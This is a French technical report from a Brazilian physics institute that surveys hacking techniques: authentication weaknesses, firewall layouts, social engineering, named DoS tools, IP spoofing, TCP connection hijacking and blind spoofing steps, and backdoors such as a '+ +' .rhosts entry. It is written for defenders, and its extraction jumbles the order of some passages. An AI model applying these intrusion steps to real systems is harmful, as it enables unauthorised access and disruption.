CBPF-NT-007/00

1

S´ ecurit´ e Informatique

Attaques Informatique

Jean-Olivier Gerphagnon∗ , Marcelo Portes de Albuquerque† & M´ arcio Portes de Albuquerque‡ Centro Brasileiro de Pesquisas F´ ısicas – CBPF/CNPq Coordena¸ c˜ ao de Atividade T´ ecnicas – CAT Rua Dr. Xavier Sigaud 150 22290-180 Rio de Janeiro – RJ – Brazil

1

Introduction

La s´ ecurit´ e informatique est de nos jours devenue un probl` eme majeur dans la gestion des r´ eseaux d’entreprise ainsi que pour les particuliers toujours plus nombreux a ` se connecter ` a Internet. La transmission d’informations sensibles et le d´ esir d’assurer la confidentialit´ e de celles-ci est devenu un point primordiale dans la mise en place de r´ eseaux informatiques. Ce document a pour but de pr´ esenter globalement la mani` ere dont les ”Hackers ” op` erent afin de p´ en´ etrer les syst` emes informatiques en esp´ erant qu’il aide a ` pallier a ` ce type de probl` eme de plus en plus fr´ equent. . .

2

Les m´ ecanismes d’authentification

L’authentification est le premier rempart aux attaques informatique, il s’agit la plupart du temps du couple ”nom d’utilisateur/mot de passe” (login/password). Cette premi` ere m´ ethode constitue une s´ ecurit´ e relativement fiable lorsqu’elle est bien utilis´ ee: mot de passe correct, confidentialit´ e assur´ ee, fichier prot´ eg´ e,. . . Elle pose tout de mˆ eme certains probl` emes comme par exemple le cas o` u un utilisateur a besoin de se connecter sur plusieurs stations diff´ erentes. Il va alors rapidement trouver cette m´ ethode d’authentification relativement lourde (consid´ erons que l’utilisateur est une personne ”s´ erieuse” qui poss` ede un mot de passe diff´ erent sur chaque station ou que le r´ eseau utilise NIS (Network Information Service)).Il sera alors tenter d’utiliser une m´ ethode moins contraignante: les services r*. Ces services (rlogin, rsh, rcp, . . . ) sont bas´ es sur une authentification beaucoup moins lourde pour l’utilisateur mais ´ egalement beaucoup moins sˆ ure: l’adresse IP de la station source ainsi que le ”nom d’utilisateur”. Ce type d’authentification est, malgr` es de nombreux probl` emes de s´ ecurit´ e, encore tr` es utilis´ e dans les r´ eseaux locaux actuels. Une autre m´ ethode d’authentification permettant un niveau de s´ ecurit´ e plus ´ elev´ e utilise un serveur d’authentification (Authentification Server ) qui permet d’´ eviter les probl` emes engendr´ es par l’authentification IP. Le serveur d’authentification re¸ coit une demande de connection et, afin de v´ erifier que la station est bien celle qu’elle pr´ etend ˆ etre, ´ etablit une seconde connection TCP avec la station source (qui ne sera donc pas sous le contrˆ ole d’un ´ eventuel attaquant).
∗ †

triton@softhome.net marcelo@cbpf.br ‡ mpa@cbpf.br

CBPF-NT-007/00

2

Une m´ ethode beaucoup plus s´ ecuris´ ee, mais plus contraignante et plus difficile a ` mettre en oeuvre, appell´ ee One-Time Password System (OTP) permet d’´ eviter les probl` emes de circulation des mots de passe sur le r´ eseau (Sniffing,. . . ). Se sont des pseudo mots de passe qui circulent alors sur le r´ eseau et dont la validit´ e est restreinte ` a la dite connection. Le fonctionnement des One-Time Passwords peut se r´ esumer ainsi: le client demande une connection a ` un serveur, ce dernier renvoit un Challenge au client qui devra alors g´ en´ erer un One-Time Password ` a l’aide d’un mot de passe (ou d’une phrase) connu des deux stations ainsi que du Challenge re¸ cu. Ce pseudo mot de passe sera alors retransmis au serveur qui pourra ainsi le v´ erifier et autoriser (ou non) la connection. Actuellement, le programme Secure Shell est tr` es appr´ eci´ e, il peut apporter la facilit´ e des authentifications par adresses IP tout en assurant une tr` es bonne s´ ecurit´ e grˆ ace ` a un syst` eme d’encryptage des donn´ ees qui transitent sur le r´ eseau. Il utilise pour cela un m´ ecanisme d’encryptage assym´ etrique (principe des cl´ es publiques et priv´ ees) bien connu. Il s’agit du syst` eme RSA (Rivest, Shamir, Aldeman). Cette solution peut permettre aux utilisateurs de ne pas ˆ etre oblig´ e d’entrer a ` chaque fois leur mot de passe tout en ´ evitant les probl` emes des services r* ou du telnet (Sniffing ). D’autres m´ ethodes d’authentification existent ´ egalement, comme par exemple Kerberos (gestion de tickets), SSL (Secure Socket Layer), S-HTTP (Secure HTTP), les signatures digitales (Digital Signature ) et les certifications. . .

3

Principe de fonctionnement des Firewalls

En informatique, un Firewall est un p´ eriph´ erique ou un ordinateur qui prot` ege la partie priv´ ee d’un r´ eseau de la partie publique. C’est en r´ ealit´ e l’´ el´ ement qui permet de distinguer la partie priv´ ee du r´ eseau de celle que l’on nommera publique (Internet,. . . ), lui seul peut donc en atteindre les deux extr´ emit´ es. Il permet donc de prot´ eger le r´ eseau priv´ e d’´ eventuelles attaques provenant d’ Internet et peut ´ egalement contrˆ oler certaines actions effectu´ ees de l’int´ erieur du r´ eseau priv´ e. Il y a en r´ ealit´ e deux principaux types de Firewall : • Firewall IP Filter ou Chokes : ce type de Firewall travail au niveau des paquets transmis sur les r´ eseaux, il permet de contrˆ oler le flux de paquets en fonction de l’origine, de la destination, des ports et du type d’information contenue dans chacun d’eux. C’est un syst` eme relativement facile ` a mettre en place en instaurant un certains nombre de r` egles permettant de contrˆ oler les paquets entrants ou sortants du r´ eseau priv´ e. Il s’agit soit d’un ordinateur soit d’un p´ eriph´ erique de communication permettant de restreindre le flux de paquets entre les r´ eseaux. • Gates : il s’agit d’un programme, d’un p´ eriph´ erique ou d’un ordinateur qui re¸ coit les connections des r´ eseaux externes et les retransmet dans le r´ eseau priv´ e. Aucun utilisateur n’est autoris´ e` a acc´ eder ` a ce Gate pour des raisons de s´ ecurit´ e ( seule une connection sur la console par l’administrateur est autoris´ ee ). Sur ce Gate, un ou plusieurs des programmes suivants doivent ˆ etre utilis´ es: – Network Client Software : les utilisateurs doivent, dans cette configuration, avoir un compte sur le Gate pour pouvoir utiliser des applications tels que ftp, telnet, netscape. . . Les utilisateurs doivent donc se connecter sur le Gate afin d’acc´ eder ` a l’ext´ erieur. C’est un syst` eme facile ` a mettre en place mais tr` es peu s´ ecuris´ e du fait de l’acc` es d’utilisateurs sur l’´ el´ ement protegeant la partie priv´ ee de la partie publique. – Proxy Server : un Proxy est un programme qui transmet les donn´ ees qu’il re¸ coit a ` un autre programme situ´ e sur une autre machine du r´ eseau. Dans le cas d’un Firewall,

. 1 heure ) pour obtenir les informations voulues. dans le but de se faire ult´ erieurement passer pour elles. informations sur le syst` emes. Il faut donc toujours veiller a ` v´ erifier les informations stock´ ees sur les disquettes et/ou les sauvegardes qui seront jet´ ees ` a la poubelle. • L’audace ou le bluff : le bagout et l’art de la parole sont deux qualit´ es indispensables lorsque l’on veut utiliser le ”social engineering ”. • La patience calcul´ ee : il faut de plus savoir se montrer patient afin d’obtenir les informations d´ esir´ ees. elle est bas´ ee sur quatres grands principes: • Le contexte : en ayant une bonne connaissance de l’organigramme de l’entreprise cela permet ` a l’agresseur d’avoir d’ores et d´ ej` a un pied dans l’entreprise. Malg` es tout. Le but en g´ en´ eral est de connaˆ ıtre qu’elles sont les personnes qui sont en droit de demander tels ou tels informations. . . la m´ ethode du ”social engineering ” demande une certaine rapidit´ e ( max. sa premi` ere arme est le ”baratin”. cela ne marche pas ` a chaque fois ! Il faut de la pratique afin de bien maˆ ıtriser le s´ equencement du dialogue a `´ etablir. il est pr´ ef´ erable de changer d’entreprise ou d’attendre quelques jours afin de ne pas ´ eveiller les soup¸ cons.CBPF-NT-007/00 3 un Proxy sert ` a ”forwarder” une requˆ ete ( Web. On appel ceci l’ing´ enierie sociale (social engineering ). – Network Server : il est ´ egalement possible de lancer des serveurs (daemon ) comme par exemple Sendmail sur le Gate afin de fournir d’autres services aux utilisateurs. pass´ e ce d´ elais. La meilleure solution consiste ` a les d´ etruire afin de les rendre inutilisables.. En g´ en´ eral. Voici quelques exemples de configurations pour l’utilisation d’un Firewall : 4 4. La plupart des Hackers sont friants des ”poubelles” des entreprises qu’ils d´ esirent p´ en´ etrer car elles recellent toujours d’informations tr` es pr´ ecieuses: fichiers de mots de passe. les personnes ne sont pas form´ ees ` a la notion de s´ ecurit´ e informatique ce qui entraˆ ıne des situations qui auraient facilement pˆ uˆ etre ´ evit´ ees. .1 Techniques de Hacking L’ing´ enierie sociale & l’irresponsabilit´ e Lorsque quelqu’un d´ esire p´ en´ etrer dans un syst` eme informatique. Par contre. heures de connection des administrateurs. . et ´ egalement ` a qui les demander. Tout ceci afin qu’il lui transmette les informations demand´ ees sans aucun probl` eme. voici quelques cas fr´ equemment trouv´ es au sein des entreprises: • Disquettes ou sauvegardes jet´ ees ` a la poubelle sans ˆ etre d´ etruites au pr´ ealable. il n’est pas conseill´ e d’installer un serveur Web comme Apache sur un Gate pour des raisons de s´ ecurit´ e.. heures des sauvegardes. lI s’agit ici d’avoir suffisament d’appoint et de connaissances techniques afin de faire croire a ` l’interlocuteur qu’il a affaire a ` un responsable technique de l’entreprise (ou d’un fournisseur de service). . ) a ` travers le Firewall du r´ eseau interne au r´ eseau externe. A titre d’exemples. FTP. . • La chance : la chance est ´ egalement une part importante dans le ”social engineering ”. . Il n’y a g´ en´ eralement pas d’attaques r´ eussies sans relations humaines. .

CBPF-NT-007/00 4 Figure 1: Firewall utilisant une station UNIX ´ equipp´ ee de deux ports r´ eseau. . un pour le r´ eseau priv´ e et un pour le r´ eseau publique. On pourra ici utiliser un routeur pour s´ electionner les paquets ( TCP ou UDP ) qui sont autoris´ es et pour quels services. Il s’agit d’une configuration facile a ` mettre en place et tr` es utilis´ ee actuellement. on interdira les comptes utilisateurs sur cette station et on installera un Proxy pour que les informations traversent le Firewall. Pour un maximum de s´ ecurit´ e. Figure 2: Il s’agit de filtrer les paquets a ` l’aide d’un Choke.

si un intrus arrive a ` prendre le contrˆ ole du Gate. .CBPF-NT-007/00 5 Figure 3: Il s’agit d’un type de Firewall plus s´ ecuris´ e utilisant ` a la fois un Choke et un Gate. Dans cette situation. Le Choke peut-ˆ etre un routeur avec deux interfaces permettant de relier le Gate et le r´ eseau interne. ce type de Firewall est pr´ econis´ e. il reste encore un troisi` eme rempart permettant d’´ eviter qu’il ne puisse utiliser le Gate pour lancer une attaque contre le reste du r´ eseau priv´ e. Figure 4: Pour une plus grande s´ ecurit´ e. Le Gate doit ˆ etre un ordinateur sp´ ecifique sur le r´ eseau faisant tourner le serveur de mail ainsi que le Proxy (le serveur Web et le serveur FTP anonyme doivent ˆ etre install´ es sur une autre machine devant le Firewall ).

les Hackers savent o` u trouver l’information et ensuite comment techniquement s’en servir afin de p´ en´ etrer les syst` emes informatique. Mais quelles sont les raisons qui peuvent pousser un attaquant a ` utiliser les DoS en sachant que cela peut mener ` a la ”destruction” du routeur ou du serveur vis´ e: • R´ ecup´ erer un acc` es : une attaque de type Denial-of-Service fait. Le couple ”nom d’utilisateur” (Login) et ”mot de passe” (Password) est personnel et ne doit en aucune mani` ere ˆ etre transmis ` a quelqu’un d’autre mˆ eme pour ”rendre service”. .2 Les Denial-of-Service (DoS) Les attaques de type Denial-of-Service ont pour but de saturer un routeur ou un serveur afin de le ”crasher” ou en pr´ eambule d’une attaque massive. . Voici quelques exemples de programmes disponibles sur Internet permettant de r´ ealiser ce genre d’attaque: • Ping ’O Death : il s’agit de saturer un routeur ou un serveur en envoyant un nombre important de requˆ etes ”ICMP REQUEST” dont les datagrammes d´ epassent la taille maximum autoris´ ee. • Masquer les traces : ce type d’attaque permet ´ egalement de ”crasher” une station qui par exemple aurait pˆ u contenir des traces du passage d’un ”Hacker ”. • Se venger : tr` es fr´ equemment. Windows NT/9x. Les actions qu’il engendre alors lui seront peut-ˆ etre reproch´ ees alors qu’il s’agissait d’un tiers a ` qui il avait eut le malheur de confier son mot de passe. tr` es r´ ependue. Il peut s’av´ erer utile d’inscrire son mot de passe sur un papier lorsqu’il est impos´ e par un administrateur mais il est pr´ ef´ erable de pouvoir le fixer soit mˆ eme en respectant un certains nombre de r` egles visant ` a rendre sa m´ emorisation facile mais sa d´ ecouverte tr` es difficile (il est tr` es facile pour un Hacker de lancer un programme qui tentera de le ”casser” en utilisant une liste de mots de passe pr´ e-´ etablie). il faut veiller a ` conserver la confidentialit´ e de ses mots de passe et donc d’en ´ eliminer toutes traces facilement ”accessibles” (lisibles). Il sera alors obligatoire de red´ emarrer la machine afin d’en reprendre le contrˆ ole.. . de mani` ere non exhaustive. Des patches existent afin de se pr´ emunir de ce type d’agression sous les syst` emes MacOS. ou encore pos´ es sur le bureau ou coll´ es dans un tiroir afin de toujours l’avoir a ` port´ e de main. ci-dessous ). ` a arrˆ eter ). ces attaques sont utilis´ ees afin d’assouvir une vengeance personnelle contre une personne. Linux et Novell Netware. est souvent utilis´ ee de paire avec une tentative de ”Spoofing ” ( cf. 4. En d´ etruisant cette station. . • Land . la plupart du temps. • . Par exemple l’attaque de type ”SYN Flood”. Ces types d’attaque sont tr` es faciles ` a mettre en place et tr` es difficile ` a empˆ echer (cqfd. partie d’une attaque visant a ` obtenir le contrˆ ole d’une machine ou d’un r´ eseau. un administrateur ou bien encore une entreprise. Sun Solaris. • Les ´ echanges de mots de passe sont ´ egalement tr` es fr´ equents. il s’assure ainsi une certaine p´ er´ enit´ e. Dans tous les cas. Il s’agit ici du principe mˆ eme du Hacking. ces diff´ erentes techniques permettant aux ”Hackers ” de passer outre les Firewalls et les syst` emes d’authentification. Il . Les sections suivantes visent ` a pr´ esenter.. Ceci doit ˆ etre ´ evit´ e au maximum car l’identit´ e de l’utilisateur n’est plus assur´ ee.Blat : cette attaque permet de geler la plupart des syst` emes ayant plus ou moins un an.CBPF-NT-007/00 6 • Papiers ou Post-It o` u l’on note ses mots de passe qui seront par la suite jet´ es ` a la poubelle (mˆ eme cas qu’au pr´ ealable).

lorsque l’on envoie un grand nombre de fragments de paquets identiques (150/sec). Avant de rentrer dans des d´ etails plus techniques. il s’agit d’une technique permettant de s’infiltrer dans un ordinateur en se faisant passer pour un autre en qui il a confiance (Trusted Host). un c´ el` ebre ”Hacker ”.3 L’IP Spoofing La technique de l’IP Spoofing est une technique dont le principe est relativement ancien (aux alentours de 1985) mais la premi` ere attaque connue l’utilisant ne remonte qu’` a 1995. Pour ´ eviter cela. l’a utilis´ e afin de s’infilter dans le r´ eseau d’un expert en s´ ecurit´ e informatique.CBPF-NT-007/00 7 s’agit d’envoyer un paquet forg´ e (spoof´ e ) contenant le flag SYN sur un port donn´ e (comme 113 ou 139 par exemple) et de d´ efinir la source comme ´ etant l’adresse de la station cible. 9x et 2000). il ex´ ecute une boucle qui va permettre de stocker dans un nouveau ”buffer” tous les paquets d´ ej` a re¸ cus. Il existe diff´ erents types de Spoofing.SynDrop : probl` eme d´ ecouvert dans le noyau du syst` eme Linux dans la partie concernant la fragmentation des paquets IP. De nombreux patches existent contre ce type d’attaque et les versions r´ ecentes de Windows (98/2000) sont d` es ` a pr´ esent prot´ eg´ ees. il n’existe aucun patches mais des r` egles de filtrage correctes permettent de limiter son effet. NetBIOS semble ˆ etre le service le plus vuln´ erable ` a ce type d’attaque. Des pr´ e-patches existent d´ ej` a pour tenter de contrer ce type d’attaque. • Jolt : sp´ ecialement destin´ ee aux syst` emes Microsoft (NT. • Smurf : ce programme utilise la technique de l’”ICMP Flood” et l’amplifie de mani` ere ` a cr´ eer un v´ eritable d´ esastre sur la (ou les) machines vis´ ees. • Ident Attack : ce probl` eme dans le daemon identd permet ais´ ement de d´ estabiliser une machine UNIX qui l’utilise. La fragmentation IP provoque. . Un grand nombre de requˆ etes d’authorization entraˆ ıne une instabilit´ e totale de la machine. voici un bref r´ esum´ e du fonctionnement de cette technique: une station se fait passer pour une autre en envoyant un paquet dont l’adresse IP est ”autoris´ ee” par le serveur vis´ e. La source IP envoy´ ee trompe donc la cible qui accorde l’acc` es en pensant avoir affaire ` a une machine de confiance. Tsutomo Shimomura.8a4 (ou ult´ erieur). Windows ne sait pas comment r´ eagir a ` la r´ eception de ce type de paquet et il ”panique”. Il existe un certains nombre de patches pour ce ”bug” pour les syst` emes UNIX et Windows. • Bonk . Il y a effectivement un contrˆ ole de la taille du paquet mais uniquement si ce dernier est trop grand. Il s’agit d’un probl` eme de reconstruction du paquet. • TearDrop . S’il est trop petit cela peut provoquer un probl` eme au niveau du noyau et planter le syst` eme (probl` eme d’alignement des paquets). Lorsque le syst` eme reconstitue le paquet. une saturation totale du processeur durant toute la dur´ ee de l’attaque. En fait. . Il existe de nouveaux patches mieux construits qui permettent ´ egalement d’´ eviter ce nouveau type d’attaque. Le Spoofing n’est pas l’attaque en tant que tel. Appraremment. 4.Boink : mˆ eme probl` eme que le TearDrop mais l´ eg` erement modifi´ e afin de ne pas ˆ etre affect´ e par les patches fournis pour le TearDrop. il faut installer une version plus r´ ecente du daemon identd ou alors utiliser le daemon pidentd-2. Il est difficile de se prot´ eger de ce type d’attaque. . il utilise la technique du ”Broadcast Ping” afin que le nombre de paquets ICMP envoy´ es ` a la station grandisse de mani` ere exponentielle causant alors un crash presque in´ evitable. . Kevin Mitnick. • WinNuke : il s’agit encore d’un programme permettant de ”crasher” les syt` emes Windows NT/95 par l’envoie de donn´ ees de type ”OOB” (Out Of Band) lors d’une connection avec un client Windows. cette attaque permet de saturer le processeur de la station qui la subie. . Ce probl` eme a ´ egalement ´ et´ e observ´ e sur les syst` emes Windows (NT/9x) et des patches sont d` es ` a pr´ esent disponibles.

La premi` ere utilise le flag RST (Reset) alors que la seconde utilise le flag FIN (Fin). 4. dans le cas contraire (station ’A’ accessible). cette technique est utilis´ ee lorsqu’il s’agit d’interagir entre deux machines du mˆ eme sous-r´ eseau ou alors il faut avoir un acc` es sur un routeur important (transatlantique par exemple) . c’est-` a-dire la terminaison du 3-way handshake TCP) qui est limit´ ee en g´ en´ eral a ` 5 sous BSD (` a 6 sous Linux). pr´ ec´ edemment ´ etablie. Lorsque la station ’A’ est inaccessible (unreachable) la station ’C’ va alors attendre une r´ eponse (notion de timeout).3. Il peut donc ais´ ement capturer et analyser les paquets qui sont ´ echang´ es. il est tr` es facile de r´ ecup´ erer les paquets et d’obtenir les num´ eros de s´ equence (SEQ) et d’acknowledgment (ACK).CBPF-NT-007/00 8 nous n’aborderons ici que les notions d’IP Spoofing.la place rˆ ev´ ee pour un Hacker. Cela a pour effet de bloquer totalement les nouvelles demandes de connection vers la station vis´ ee. Web Spoofing. • Connection Killing : dans ce cas de figure. . celles ayant attraits aux DNS Spoofing. entre deux stations (ici entre ’A’ et ’C’). En g´ en´ eral. Comme les paquets doivent imp´ erativement traverser le sous-r´ eseau. l’objectif est de faire stopper une connection TCP. Ce type de Spoofing est principalement utilis´ e pour les trois attaques suivantes: Figure 5: Configuration n´ ecessaire pour le Non Blind Spoofing : l’ordinateur ’A’ va demander une connection sur l’ordinateur ’C’ alors que l’ordinateur ’B’ espionne le traffic sur le r´ eseau local. Voil` a bri` evement comment cela s’av` ere possible: la station ’B’ envoie un paquet de type SYN forg´ e (spoof´ e en tant que station A) vers la station ’C’.. • SYN Flooding : le but du SYN Flooding est d’ouvrir ”` a moiti´ e” un nombre de connection d´ epassant la taille du backlog (queue permettant de stocker les connections en attentes de fin d’ouverture. ce type d’attaque n’a aucun effet sur la station ’C’ car elle indiquera qu’aucune demande de connection n’a ´ et´ e effectu´ ee de sa part. . l’utilisation de la technique du Spoofing a pour but d’interf´ erer avec une connection dont les paquets traversent un sous-r´ eseau dont le ”Hacker ” a acc` es. En ce qui nous concerne.1 Non Blind Spoofing (NBS) Dans ce contexte. toutes les deux sont bas´ ees sur le Spoofing et sur les flags TCP. La seconde est plus difficile a ` mettre en oeuvre car elle exige que les . il existe deux types d’IP Spoofing qui diff` erent par les moyens n´ ecessaires ` a leur application. Il est donc possible pour l’ordinateur ’B’ d’interrompre la relation entre ’A’ et ’C’ puis de se faire passer pour l’ordinateur ’A’ car il a acc` es aux num´ eros de s´ equence (SEQ) et d’acknoledgment (ACK). ne seront donc pas pr´ esent´ ees. Il existe deux techniques pour effectuer ce type d’attaque. En ex´ ecutant cette op´ eration un grand nombre de fois. la station ’C’ ne va plus pouvoir r´ epondre aux nouvelles demandes de connection et deviendra alors inacessible (et certainement instable).

il faut q’une connection TCP utilisant par exemple Telnet soit d´ ej` a´ etablie entre deux stations (’A’ et ’C’ dans notre cas). Cette technique n´ ecessite plus de ”pr´ ecision” que les deux pr´ ec´ edente car il faut savoir jongler avec les num´ eros de s´ equence (SEQ) ainsi qu’avec les num´ eros d’acknoldgement. Voici en quelques lignes comment fonctionne ce type d’attaque: l’objectif de cette manipulation est de r´ ecup´ erer une connection existante. . on dit Hijacker une connection. nous avons ´ egalement besoin d’une troisi` eme machine (’B’) pour analyser les paquets ´ emis sur le r´ eseau. Si l’on arrive a ` faire en sorte que la station ’C’ ne croit plus aux paquets de la station qui avait ´ etablie la connection (station ’A’) mais par contre aux paquets forg´ es par la station ’B’ (paquets spoof´ es en tant que station ’A’) il est possible de continuer a ` ”profiter” de la connection en utilisant des paquets de num´ eros SEQ/ACK valides pour la station ’C’. A Port X SYN SYN. ACK=8 data size = 2 bytes Data Exchange [example] SEQ=8. Comme toujours. Une fois arriv´ e` a ce niveau. La Connection Hikacking permet de s’infiltrer dans une connection TCP existante dans le but de l’utiliser pour son propre int´ eret. nous avons r´ ecup´ er´ e la connection: la station ’A’ est ”perdue” et la station ’C’ accepte sans probl` eme nos donn´ ees. ACK=y Time Data Exchange [principe] SEQ=y. ACK ACK TCP Connection {3 ways handshake} B Port Y SEQ=x. ACK=x + data size SEQ=1. Il ne reste plus qu’` a envoyer le dit paquet et la connection sera logiquement rompue.CBPF-NT-007/00 9 num´ eros de s´ equence et d’acknolegment soient tous deux corrects (ce qui n’est pas le cas de la premi` ere: seulement les num´ eros de s´ equence). Voici donc comment fonctionne la m´ ethode utilisant le flag RST (la seconde est bas´ ee sur le mˆ eme principe avec le num´ ero d’acknolegment en plus): il faut tout d’abord attendre un paquet en provenance de la station ’B’ a ` destination de la station ’A’. Ensuite. Le protocole TCP s´ epare les bons des mauvais paquets a ` l’aide de leurs num´ eros SEQ/ACK. • Connection Hijacking : ce type d’utilisation de l’IP Spoofing est relativement plus int´ eressante (en terme d’acc` es) que les deux pr´ ec´ edentes. ACK=10 TCP Exchange Figure 6: Connection et principe des ´ echanges dans le protocole TCP (Transport Control Protocol). contenant le flag RST. il faut calculer ` a partir du (ou des) paquets re¸ cus le num´ ero de s´ equence ` a indiquer dans le paquet. Pour cela. que nous allons envoyer a ` la station ’C’ (rappel du calcul des num´ eros de s´ equence et d’acknoledgment sur la figure 6).

. • Tentative de forgeage de paquets IP en tant que station de ”confiance” et connection sur la machine cible. Dans ce contexte. Cette technique n’est utile que pour p´ en´ etrer les syst` emes utilisant des syst` emes d’authentification de type One-Time Password. . L’attaquant doit donc pouvoir pr´ edire les paquets qui seront envoy´ es par la station qu’il d´ esire attaquer. de rendre inaccessible (unreachable) cette derni` ere (` a l’aide d’un DoS par exemple) afin qu’elle . La station ’A’ continuera de tenter d’envoyer des paquets avec l’ancien num´ ero de s´ equence (SEQ) qui ne seront donc plus accept´ es par le serveur ’B’. section suivante). .2 Blind Spoofing (BS) La technique du Blind Spoofing (aveugle) n´ ecessite une tout autre configuration que pour le Non Blind Spoofing (cf. • Mise en place d’une Backdoor (cf. 4. dans le fleau de donn´ ees. En utilisant ces m´ ecanismes. ). L’attaque a ` proprement parl´ e va se d´ erouler en cinq ´ etapes bien distinctes: • Choix de la station cible (Target Host) selon des crit` eres personnels: d´ efis technique. Le principe de fonctionnement est relativement simple. L’utilisation de cette technique est bas´ ee sur le principe de la relation de confiance qu’il est possible d’instaurer entre deux machines a ` l’aide par exemple des syst` emes utilisant les fichier /etc/hosts. Il suffit simplement d’ins´ erer. . Dans ce cas.3. figure 8). • Elimination de la station de ”confiance” et ”sampling” des num` eros de s´ equence TCP. Il s’agit. La figure 7 pr´ esente ` a l’aide de paquets TCP le fonctionnement de cette technique. . • Un attaquant. . rpcinfo.equiv ou les fichiers ~/. • Une adresse dont la station n’est pas accessible sur le r´ eseau (unreachable). l’authentification se fera uniquement par v´ erification de l’adresse IP (Internet Protocol) de la station qui demande la connection (pas de v´ erification d’identit´ e` a l’aide d’un mot de passe par exemple).. L’avantage est qu’elle ne requi` ere pas que l’attaquant (Hacker Server) soit capable de capturer les paquets ´ emis par la station cible (Target Host). cf. Afin d’utiliser le Blind Spoofing.rhosts. ”Les m´ ecanismes d’authentification”).CBPF-NT-007/00 10 La question qui se pose alors est: ”Comment faire en sorte que la station ’A’ ´ emette des paquets dont les num´ eros SEQ/ACK soient rejet´ es par la station ’C’ ?”. L’utilisation de ces syst` emes rend l’utilisation des techniques de Sniffing inop´ erantes car les mots de passe ne sont jamais transmis sur le r´ eseau (notion de Challenge. . (Hacker Server). le Spoofing peut s’av´ erer int´ eressant. il est n´ ecessaire de connaˆ ıtre les adresses IP de quatre stations: • La cible vis´ ee (Target Host). un paquet suppl´ ementaire que seuls les stations ’B’ et ’C’ connaitront. . une fois que la station de ”confiance” a ´ et´ e trouv´ ee. le serveur ’C’ acceptera bien les donn´ ees et mettra ` a jour le num´ ero d’acknoledgment (ACK). au bon moment. . la station attaquante (Hacker Server) va tenter de se faire passer pour une station de ”confiance” (Trusted Host) aux yeux de la station cible (Target Host). vengeance. • Une machine de ”confiance” pour la cible vis´ ee (Trusted Host). • Recherche et d´ ecouverte d’une station de ”confiance” (Trusted Host) (showmount. C’est pourquoi cette technique est appell´ ee ”aveugle”..

ce paquet passera par la station ’B’ qui pourra alors renvoyer un acknoledgement. ACK=C34A67F6 ACK. Le serveur va alors. dans le paquet suivant. ACK=5C8223EB ACK. PUSH (Shell Command) SEQ=5C8223EB.1 Port 1040 (> 1024) 1 byte (01) SEQ=5C8223EA.168. ACK=C34A67F7 ACK.8.8. PUSH (Shell Command) 5 bytes (05) SEQ=5C8223F5. PUSH (Server Return) 0 byte (00) SEQ=5C8223EB. ACK=C34A67F7 ACK.194 = 192.23 Port 23 (telnet) SEQ=C34A67F6. PUSH (Shell Command) Hacker B 192. PUSH (Server Return) IGNORE ! SEQ/ACK invalids SEQ=5C8223EB. bad SEQ/ACK 11 . ACK=C34A67FC 5C8223F5= 5C8223EB + 0A 0 byte (00) ACK (Acknoledgment) 10 bytes (0A) TimeOut SEQ=5C8223EB.168.CBPF-NT-007/00 Figure 7: Pr´ esentation de la technique de Connection Hijacking ` a l’aide d’´ echanges de paquets TCP.10. . . bad SEQ/ACK 10 bytes (0A) 10 bytes (0A) Reject. Les num´ eros de s´ equence (SEQ) et d’ acknoledgment ont donc chang´ es et le client (A) ne peut plus alors envoyer des paquets valides pour le serveur (C). Client A 192.1 Server C 192. retourner les informations a ` la station ’A’.168. Le paquet suivant provient de l’attaquant (B) qui forge un paquet en se faisant passer pour la station ’A’.8. Les trois premiers paquets ´ echang´ es entre le Client (A) et le Serveur (C) montre le type de paquet transmis lors d’une connection en telnet.168. ACK=C34A67F7 ACK. PUSH (Shell Command) 5 bytes (05) SEQ=5C8223F5. ACK=C34A67FC ACK. PUSH (Shell Command) C34A67FC= C34A67F7 + 05 Reject. ACK=C34A67F7 ACK (Acknoledgment) 1 byte (01) 10 bytes (0A) SEQ=C34A67F7 ACK=5C8223F5 ACK.

23 (derri` ere une passerelle: 152.194.84.202.250.48.84. On pourra noter que les adresses IP sont bien de sous-r´ eseaux diff´ erents.11. La station attaquante est le ”Hacker Server” d’adresse IP 194.202.90.206.1).CBPF-NT-007/00 12 Figure 8: Exemple de configuration des stations lors d’une attaque de type Blind Spoofing.216 et enfin.253.253. la station de ”confiance” est 193. la cible 152. la station inacessible (permettant l’attaque de type Denial Of Service ) est celle d’adresse 195. .

. ) ou de modifier le contenu de certains fichiers de configuration (mots de passe. Le probl` eme ´ etant que l’attaquant ne voit pas les paquets qui vont ˆ etre ´ emis par la station cible. est celle des Backdoors (portes d´ erob´ ees ou portes de service). • rendre invisible les connections et les actions r´ ealis´ ees. certaines n’ont une utilit´ e qu’une fois l’acc` es ` a la station accord´ e. • ex´ ecuter certaines commandes bien cibl´ ees permettant d’avoir une vision de l’´ etat de la station (processus. • faciliter l’acc` es ` a la station sans avoir ` a utiliser des trous de s´ ecurit´ e existants (security holes). ` • Rhosts + + : les service r* utilisent les adresses IP comme moyen d’authentification (cf. Ensuite. . permettra d’obtenir le num´ ero de s´ equence initial fournit par la station cible (il sera judicieux d’effectuer cela plusieurs fois afin ´ egalement d’obtenir un RTT (Round Trip Time) moyen). . Il s’agit ensuite de modifier leurs mots de passe afin de s’assurer que l’administrateur ne les changera pas de sa propre initiative (en v´ erifiant les mots de passe a l’aide du programme Crack par exemple). l’affichage d’images. 4. il est n´ ecessaire d’´ etablir une ”premi` ere” connection avec la station cible afin de se faire une id´ ee pr´ ecise de l’´ etat actuel des num´ eros de s´ equence (SEQ) et d’acknoledgment. A partir de l` a. et sans doute la plus utilis´ ee. de revenir sur un syst` eme de fa¸ con d´ etourn´ ee. r´ eseau. Il est donc facile de rajouter dans ces fichiers une entr´ ee permettant d’autoriser toutes machines et tous utilisateurs ` a se connecter (l’entr´ ee + +). section sur les m´ ethodes d’authentification). Ainsi. utilisateurs. . . il est possible de tenter de forger un paquet IP (le plus rapidement possible) a ` destination de la station cible en se faisant passer pour la station de ”confiance”. juste avant de lancer une attaque. . l’intrus peut obtenir de nouveaux comptes sur la machine et tenter de s’en servir sur d’autres stations du r´ eseau. Pour cela. la lecture de fichiers son.rhosts permettent d’indiquer quelles sont les machines et les utilisateurs autoris´ ees ` a se connecter sans autres formes d’authentification. a ` celui qui en connait l’existence et le fonctionnement. les Backdoors permettent diff´ erents types d’actions sur le syst` eme o` u elles sont install´ ee: • se reconnecter sur la machine mˆ eme apr` es un changement de mots de passe ou d’ajouts de syst` emes de s´ ecurit´ e. d’autres permettent par exemple de contourner les diff´ erents types de Firewalls.. ).CBPF-NT-007/00 13 ne puisse par interf´ erer avec la tentative d’attaque. c’est-` a-dire sans passer par les m´ ethodes d’authentification habituelles. La technique la plus connue. Il existe diff´ 